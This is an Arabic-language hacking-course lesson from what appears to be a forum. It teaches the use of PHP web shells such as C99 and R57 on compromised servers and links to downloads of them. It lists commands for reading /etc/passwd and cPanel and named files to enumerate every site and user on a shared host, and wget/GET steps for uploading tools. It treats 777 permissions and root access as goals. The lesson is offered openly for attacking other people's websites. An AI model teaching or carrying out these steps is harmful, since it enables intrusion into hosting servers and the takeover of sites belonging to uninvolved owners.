بسم الله الرحمن الرحيم ..
-
بدايه بالدرس الرابع راح نعرف انواع الشل وآوآمره وصلاحيآته وآلسكربتآت المسآعده لـ آلآخترآق
ياليت التركيز يآشبآب
آنواع الشل واهوا انواع كثيره وتقدر انت تبرمج شل اذا كنت محترف
php لكن رآح آقلص آلموضوع حبه حبه ..
ورآح آبدآء بـ آلي منتشر حآلياً ..
R57 - C99 - N57 - Sniper_Sa - TrYag
طبعاً آلكل عآرفه لكن فيه البعض مآيعرفه ، ورآح آقلص آلموضوع بعد ورآح آعرض لـ آهم شلين وهم
C99 - R57
الشل الاول
c99 وهو مفيد جداً لـ المبتدئين وهذي صورته :
هذه الصورة تم اعادة تحجيمها . الحجم الافتراضي لها هو 938x530.
شكله حلو ،
نروح ع الشل الثاني
r57 وهذا الشل لـ المحترفين والمتوسطين تقريباً :-) وهذي صورته :
هذه الصورة تم اعادة تحجيمها . الحجم الافتراضي لها هو 884x300.
اما الباقي اكتشفوه بـ آنفسكم
والحين جآء وقت لينكآت التحميل لكل شل
1-
C99 (
اضغط هنا )
2-
n57 (
اضغط هنا)
3-
r57 (
اضغط هنا )
خلصنا من الصور والتحميل الحين نجي لـ صلب الموضوع الاهم .
قبل مآ آبدآء ومادام آغلب الي في الدوره مبتدئين .. رآح آشرح وين مكان تنفيذ الاوامر والخانات
ع شل
C99
تآبعو معي الصوره وخليها تتكلم :
هذه الصورة تم اعادة تحجيمها . الحجم الافتراضي لها هو 895x177.
تمام علينا عرفنا اوضاع السيرفر
نجي لـ الاوامر والرفع
هذه الصورة تم اعادة تحجيمها . الحجم الافتراضي لها هو 864x482.
تمام الحين عرفنا عن الشل c99
نجي لـ
الاوامر والصلاحيات
قبل مانخش بالاوامر طبعا اكيد الكل في المنتدي شآف آوامر كثيره ومآلها آي فآيده
حتي لاشفت كثره آلآوآمر تصآب بـ دوآر
راح اشرح المفيد منها والاهم :
================================================== ========
الامر :
idوظيفته :
عرض صلاحياتك على السيرفر
================================================== ========
الامر:
pwd
وظيفته:
اظهار مكانك على السيرفر ( المسار الي انت عليه )
================================================== ========
الامر:
ls -laوظيفته: عرض جميع الملفات والمجلدات مع تصاريحها
================================================== ========
الامر:
cat
وظيفته:
قراءة الملفات { تكتب الامر cat وبعدين اسم الملف }
================================================== ========
الامر:
mkdirوظيفته:
إنشاء مجلد جديد { مجلد وليس ملف }
================================================== ========
الامر:
chmod xxxوظيفته:
تغيير تصريح مجلد او ملف { xxx } تحط بداله رقم التصريح
================================================== ========
الامر:
touchوظيفته:
انشاء ملف { تسوي ملف وليس مجلد }
================================================== ========
الامر:
mv
وظيفته:
نقل الملفات او تغيير تسميتها { لازم يكون تصريح 777 }
================================================== ========
الامر :
cpوظيفته:
نسخ الملفات
================================================== ========
الامر:
rmوظيفته
حذف ملف
================================================== ========
الامر:
rm -rوظيفته:
حذف مجلد
================================================== ========
الامر:
findوظيفته:
البحث عن ماتريده من ملف او مجلد { find sa-hacker.php } مثال
================================================== ========
الامر:
;وظيفته:
الربط بين الاوامر وتنفيذها جميعها في وقت واحد
================================================== ========
امر الرفع:
wgetطريقه عمل الامر:
wget OpenDNS
================================================== ========
امر الرفع:
GETطريقه عمل الامر:
GET OpenDNS > tryag.zip
================================================== ========
امر التاكد من عمل اوامر الرفع: which xxxx واستبدل xxxx بامر الرفع
اذا كان الناتج بهذا الشكل / xxxx / bin /usr معناته يمكنك استخدام
هذا الامر في ارفع xxxx تتغير الى امر الرفع الذي طبقته
================================================== ========
الامر:
unzip
وظيفته:
فك ضغط الملفات والمجلدات المضغوطه بواسطه برنامج الضغط
================================================== ========
الى هنــاا هذي الاوامر الداخليه للشل اي يعني الاوامر هذي تعمل بداخل الشل وليس بخارجه
الان ندخل الى الاوامر الخارجيه والهامه . ان شاء الله
&
الاوامر الخارجيــه :
================================================== ========
الامر:
cat/etc/passwd
وظيفته:
إظهار جميع يوزرات المواقع
================================================== ========
الامر:
ls/var/namedوظيفته:
إظهار المواقع
================================================== ========
الامر:
ls -la/etc/valiasesوظيفته:
إظهار المواقع + يوزراتها
================================================== ========
الامر:
cat/var/cpanel/accountinglogوظيفته:
إظهار جميع المواقع+يوزراتها
================================================== ========
الامر: "*
find / -type f -name "sa-haclkerوظيفته:
امر بحث شامل في جميع انحاء السيرفر فقط استبدل sa-hacker بالاسم الي تبحث عنه
================================================== ========
كثرة آوآمر آستخراج المواقع لضرورتها عرفنا الاوامر .. ويآليت تنسخ الاوامر وتحطها في مفكره
عشآن تسهل عليك وتحفظهم ، وان شاء الله انك ماتحتاجهم لانك حافظهم ..
المهم بعد مآ عرفنا الاوامر ، نجي الحين ع
الصلاحيات
وآفضل التصاريح الي هو
777
لانو تقدر تتحكم في الملف او المجلد وتسوي فيه اي شي ،
وهذا شكله في الملف يكون كذا
rwxrwxrwx-
ع المجلد
drwxrwxrwx
نلاحظ الفرق بين الملف والمجلد انو الملف فيه علامه - اما المجلد d وكذا
وهذا التصريح الثاني وهو 755 يستخدم للتشغيل ..
وهذا شكله بالملف
rwx r-x r-x-
وهذا شكله ع المجلد
drwx r-x r-x
وهذآ آهم تصريحين البآقي مآيهم ،
الحين عرفنا التصاريح .. ندخل ع الصلاحيات
الصلاحيات
انوآعه :
(
user ) - (
root ) - (
nobody ) - (
apache )
طبعآ آفضل هذولي هو الروت آكيد root
والثاني النو بدي والاباتشي كلهم مع بعض لانهم نفس العمل
والاخيره الي هي يوزر
طبعا ماراح تطلع لك user في الشل لا ، رآح يطلع لك نفس اسم الموقع آو آي آسم